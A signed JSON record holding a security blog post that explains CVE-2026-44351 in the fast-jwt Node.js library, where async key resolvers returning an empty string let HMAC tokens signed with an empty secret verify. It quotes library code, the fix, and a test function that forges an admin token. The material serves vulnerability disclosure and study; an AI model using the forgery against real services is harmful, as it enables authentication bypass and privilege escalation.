-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The synchronous key path stops at the option validator.\n\nThe Node.js developer this CVE harms is the one who wrote their own JWKS resolver. They built a `kid`-keyed cache because they did not want to refetch on every request. They returned `''` for unknown kids because somewhere downstream a `MISSING_KEY` would catch it. The downstream catch existed. It was on a different path than the one their callback fed.\n\n`createVerifier` accepts a key as a string, a buffer, or a function. The string and buffer cases are validated when the verifier is built. From `src/verifier.js`:\n\n```javascript\nif (key && keyType !== 'function') {\n // Detect the private key - If the algorithms were known, just verify they match,\n // otherwise assign them\n const availableAlgorithms = detectPublicKeyAlgorithms(key)\n\n if (allowedAlgorithms.length) {\n checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n } else {\n allowedAlgorithms = availableAlgorithms\n }\n\n key = prepareKeyOrSecret(key, availableAlgorithms[0] === hsAlgorithms[0])\n}\n```\n\n`key && keyType !== 'function'` is a falsy guard. When `key === ''`, `key && ...` short-circuits to `''` (falsy), and the entire block is skipped. `key` stays as the empty string. The verifier is constructed and returned. No algorithm detection, no `prepareKeyOrSecret`, no `createSecretKey`.\n\nThe first token to arrive enters the synchronous verify path. Before any signature check, `verifyToken` runs this:\n\n```javascript\nfunction verifyToken(\n key,\n { input, header, payload, signature },\n { validators, allowedAlgorithms, checkTyp, clockTimestamp, requiredClaims, allowedCritHeaders }\n) {\n // Verify the key\n const hasKey = key instanceof Buffer ? key.length : !!key\n\n if (hasKey && !signature) {\n throw new TokenError(TokenError.codes.missingSignature, 'The token signature is missing.')\n } else if (!hasKey && signature) {\n throw new TokenError(TokenError.codes.missingKey, 'The key option is missing.')\n }\n\n validateAlgorithmAndSignature(input, header, signature, key, allowedAlgorithms)\n ...\n}\n```\n\n`hasKey` has three shapes. If `key` is a Buffer, `hasKey` is the byte length. Otherwise, `hasKey` is `!!key`. For `key === ''`, `!!key === false`. Any token with a signature throws `FAST_JWT_MISSING_KEY`. The string `''` was rejected before HMAC could run.\n\nThat rejection is structural. The option validator's falsy guard ensures `''` is never installed as a key. The verifier's `hasKey` falsy guard ensures `''` cannot validate any signature. The library's defense against the empty HMAC key on the synchronous path is two falsy short-circuits, one at construction and one per request, neither of which calls itself a key-emptiness check.\n\n## The asynchronous path is a different sequence of steps over the same data.\n\nWhen `key` is a function, the option-validation block at line 514 does not run, because `keyType === 'function'`. The verifier is built and returned. The first token arrives and dispatches into the async branch in `verify()`:\n\n```javascript\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) => {\n if (err) {\n return callback(\n cacheSet(cacheContext, TokenError.wrap(err, TokenError.codes.keyFetchingError, 'Cannot fetch key.'))\n )\n }\n\n if (typeof currentKey === 'string') {\n currentKey = Buffer.from(currentKey, 'utf-8')\n } else if (!(currentKey instanceof Buffer)) {\n return callback(\n cacheSet(\n cacheContext,\n new TokenError(\n TokenError.codes.keyFetchingError,\n 'The key returned from the callback must be a string or a buffer containing a secret or a public key.'\n )\n )\n )\n }\n\n try {\n const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n\n if (validationContext.allowedAlgorithms.length) {\n checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n } else {\n validationContext.allowedAlgorithms = availableAlgorithms\n }\n\n currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n\n verifyToken(currentKey, decoded, validationContext)\n } catch (e) {\n return callback(cacheSet(cacheContext, e))\n }\n\n callback(null, cacheSet(cacheContext, complete ? { header, payload, signature, input: token } : payload))\n})\n```\n\n`getAsyncKey` resolves with the callback's return value. For an `async () => ''` resolver, `currentKey` is `''`. The conditional at line 440 is `typeof currentKey === 'string'`, which is true, so:\n\n```javascript\ncurrentKey = Buffer.from('', 'utf-8')\n```\n\n`Buffer.from('', 'utf-8')` returns a zero-length Buffer. Buffers are objects. `!Buffer.alloc(0)` is `false`. The empty string became a truthy value, by a single line whose purpose was to normalise the resolver's return type.\n\nThree sequential checks then accept that truthy zero-length buffer as a valid symmetric key.\n\n**One.** `detectPublicKeyAlgorithms(currentKey)` opens with a falsy guard of its own:\n\n```javascript\nfunction detectPublicKeyAlgorithms(key) {\n if (!key) {\n return 'none'\n }\n // ...\n if (key instanceof Buffer) {\n key = key.toString('utf-8')\n } else if (typeof key !== 'string') {\n throw new TokenError(TokenError.codes.invalidKey, 'The public key must be a string or a buffer.')\n }\n return cacheSet(publicKeysCache, key, performDetectPublicKeyAlgorithms(key))\n}\n```\n\n`!Buffer.alloc(0)` is `false`. The function proceeds, calls `currentKey.toString('utf-8')` to convert back to `''`, and dispatches to `performDetectPublicKeyAlgorithms('')`. That helper looks for PEM markers, finds none, finds no X.509 certificate header, and falls into this branch:\n\n```javascript\n} else if (!publicKeyPemMatch && !trimmedKey.includes(publicKeyX509CertMatcher)) {\n // Not a PEM, assume a plain secret\n return hsAlgorithms\n}\n```\n\n`hsAlgorithms` is `['HS256', 'HS384', 'HS512']`. The empty secret has been classified as a valid HMAC key. The comment names the assumption: any input that does not look like a PEM is a plain secret.\n\n**Two.** `availableAlgorithms[0] === hsAlgorithms[0]` is `'HS256' === 'HS256'`, which is `true`. `prepareKeyOrSecret` will be called with `isSecret = true`. In 6.2.3 it reads:\n\n```javascript\nfunction prepareKeyOrSecret(key, isSecret) {\n if (typeof key === 'string') {\n key = Buffer.from(key, 'utf-8')\n }\n\n return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\nThe string-to-Buffer conversion already happened on line 441 of the verifier. `currentKey` is a Buffer. The `typeof key === 'string'` guard does not fire. The function falls through to `createSecretKey(Buffer.alloc(0))`. Node's `createSecretKey` accepts zero-length input and returns a `KeyObject` wrapping zero bytes.\n\n**Three.** `verifyToken(currentKey, decoded, validationContext)` runs. At line 272:\n\n```javascript\nconst hasKey = key instanceof Buffer ? key.length : !!key\n```\n\n`currentKey` is no longer a Buffer; `createSecretKey` returned a `KeyObject`. `KeyObject` is an object, so `!!key` is `true`. `hasKey === true`. The `MISSING_KEY` branch does not fire. The verifier proceeds to `validateAlgorithmAndSignature`, which calls `createHmac('sha256', emptyKeyObject).update(signingInput).digest()` and compares the digest to the token's signature.\n\nThe check at line 272 distinguishes Buffer from non-Buffer because the synchronous path can deliver either: a string key stays a string all the way to verification, and a buffer key gets a length-aware check. `KeyObject` is the third shape. The line was written without it because, on the synchronous path, no codepath produces one. The async path produces one on every request.\n\n## The forgery is `createHmac('sha256', '').digest('base64url')`.\n\n`createHmac('sha256', '').update(input).digest()` is a pure function. The attacker who knows it will be the verifier's check runs the same call on their own machine and produces the same digest. The patch's own regression test, written by the fast-jwt maintainer, builds the forged token in nine lines:\n\n```javascript\nfunction forgeEmptyKeyToken(header = { alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }) {\n function encodeSegment(value) {\n return Buffer.from(JSON.stringify(value)).toString('base64url')\n }\n\n const now = Math.floor(Date.now() / 1000)\n const payload = { sub: 'attacker', admin: true, iat: now, exp: now + 60 }\n\n const encodedHeader = encodeSegment(header)\n const encodedPayload = encodeSegment(payload)\n const signingInput = `${encodedHeader}.${encodedPayload}`\n\n const hashAlgorithm = `sha${header.alg.slice(2)}`\n const signature = createHmac(hashAlgorithm, '').update(signingInput).digest('base64url')\n\n return `${signingInput}.${signature}`\n}\n```\n\nThe payload is whatever the attacker writes. The test sets `admin: true`. The verifier accepts the token. The application reads `req.user.admin` and the case is closed.\n\n## The realistic trigger is `keys[decoded.header.kid] || ''`.\n\nA verifier configured with `key: async () => ''` is not a configuration a careful developer writes deliberately. The trigger is a resolver that returns `''` for *some* inputs and a real key for others. The patch test names the exact shape:\n\n```javascript\nconst verifier = createVerifier({\n key: async decoded => {\n const jwksCache = { 'real-kid': 'real-secret-key' }\n return jwksCache[decoded.header.kid] || ''\n }\n})\n```\n\nThis is what a JWKS resolver looks like when the developer wrote it themselves instead of importing one. The cache is a plain object keyed by `kid`. The resolver returns the cached secret if present and falls back to `''` if not, on the assumption that an unknown `kid` will be rejected somewhere later in the verifier. The fallback exists because the developer was being defensive: returning `null` would have crashed the `keyFetchingError` path at line 442 (`!(currentKey instanceof Buffer)`), and returning a thrown error would have surfaced as `FAST_JWT_KEY_FETCHING_ERROR` to the caller. `''` was the value that looked like it would be quietly rejected.\n\nThe attacker writes any `kid` value into the token header. The cache returns `undefined`. The `|| ''` resolves to the empty string. The resolver returns `''`. The verifier accepts a token signed with the empty key.\n\nThe `|| ''` is the only line in the application code that has to be present for the bug to be reachable. The attacker does not need to know the kid table, the real secret, the user model, or anything else about the application. The attacker writes `{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"x\"}.{\"sub\":\"admin\",\"admin\":true,\"iat\":...,\"exp\":...}` and signs it with `createHmac('sha256', '').digest('base64url')`.\n\n## The patch is four lines at the convergence point.\n\n`fast-jwt` 6.2.4 adds this to `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n if (typeof key === 'string') {\n key = Buffer.from(key, 'utf-8')\n }\n\n+ if (isSecret && key.length === 0) {\n+ throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')\n+ }\n\n return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThe synchronous path called `prepareKeyOrSecret` from line 524. The asynchronous path called it from line 464. Both paths converged on this function, and neither path had checked the symmetric secret's length before it. The four-line guard is the first line of code in fast-jwt that asks *is the key empty?* on behalf of the HMAC interpreter.\n\nThe terminator on the synchronous verify path (`if (!hasKey && signature) throw missingKey`) is still there, doing the same job as before. It always did the right thing for `key: ''`. It was never given the chance to look at the async resolver's return value, because by the time the async value reached `verifyToken` it had already been wrapped in a `KeyObject` that `!!key` reads as truthy.\n\n## This is a [parallel-implementation-gap](/patterns/parallel-implementation-gap).\n\nfast-jwt implements \"accept a key and use it to verify HMAC\" twice: once as a static configuration option validated at verifier-build time, once as a function call resolved per-request at verify time. The static path's emptiness check is structural, the falsy `if (key && ...)` at line 514 and the falsy `if (!hasKey && signature)` at line 276. Neither was written as an emptiness check. Each is a guard against a different absence (no key configured, no key on the request) that happened to also catch `''` because `''` is falsy.\n\nThe async path was written to produce values the static path's guards do not see. `getAsyncKey`'s callback receives a string, converts it to a Buffer, runs algorithm detection, runs `createSecretKey`, and only then hands the result to `verifyToken`. By that point the value has passed through three normalisation steps that move it from falsy-empty-string into truthy-non-empty-object. The gates upstream never test for symmetric-secret length because they were not written to. The gate downstream (`hasKey` at line 272) was written to test \"is there a key at all\" against three shapes, and `KeyObject` slipped through because `!!new KeyObject` is `true`.\n\nThis is the within-library, across-lifecycle variant of the pattern. Where [Axios's `maxContentLength`](/posts/axios-maxcontentlength-was-inside-the-buffer-loop) lived inside the buffered branch's counter and the streaming branch had no counter to put it inside, fast-jwt's emptiness check lived inside the synchronous option validator and the async resolver was never an option validator. The same data, the same library, the same author, two evaluation pipelines, and a security gate that rode on one because nobody named it as a gate.\n\n## This is the third fast-jwt CVE in three weeks.\n\nThe git log shows the cluster:\n\n```\n2026-04-07 v6.2.0 cache confusion risk with composite-key approach (#587)\n2026-04-07 v6.2.0 complete patch for GHSA-mvf2-f6gm-w987 (#598)\n2026-04-09 v6.2.1 GHSA-cjw9-ghj4-fwxf / CVE-2026-35041 ReDoS in allowed options\n2026-04-26 v6.2.3 strict base64url validation on verify (#606)\n2026-04-29 v6.2.4 GHSA-gmvf-9v4p-v8jc / CVE-2026-44351 reject empty HMAC secret\n```\n\nFive security-relevant releases in twenty-two days, three of which carry CVEs. The library is several years old and was maintained without producing CVEs the entire time. The cluster is what first-time scrutiny looks like when a parser and verifier this widely deployed gets read by people whose job is to find the holes. Each fix closed a specific surface. The library's substrate, two parallel evaluation paths for the same option, with one path holding most of the type and shape guards, remains.\n\nPoC: [GHSA-gmvf-9v4p-v8jc](https://github.com/advisories/GHSA-gmvf-9v4p-v8jc)","closing_line":"`createVerifier({ key: '' })` throws. `createVerifier({ key: async () => '' })` does not. The library never wrote down which of those two answers was its position.","hook_md":"In fast-jwt 6.2.3, the Node.js JWT library maintained by NearForm, `createVerifier({ key: '' })` throws `FAST_JWT_MISSING_KEY` before any token is parsed. `createVerifier({ key: async () => '' })` accepts a token signed with HMAC-SHA256 and an empty secret. The `''` is identical. The library reads it twice, once at configuration time and once at verify time, through two code paths that never share a check. The patch in 6.2.4 is four lines at the place both paths finally meet.","post_id":339,"slug":"fast-jwt-cve-2026-44351-async-resolver-skipped-the-empty-check","title":"CVE-2026-44351: fast-jwt's Sync Path Rejected key: ''. The Async Resolver Verified Tokens Signed With ''.","type":"initial","unreadable_sentence":"The synchronous path rejected `''` by falsy short-circuit. The async path called `Buffer.from('', 'utf-8')` and the result was truthy."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCajGz4gAKCRDeZjl4jgkQ JgvSAQDF+FiGFOZFJtOIHnUW6N/Y/yJUcPVoeQ/Q4GbxL7GU7wEAqhB+L7VNdBq0 LnBcn1hqdLZv/mLu4pjVL+qtU61JqAA= =Fa9M -----END PGP SIGNATURE-----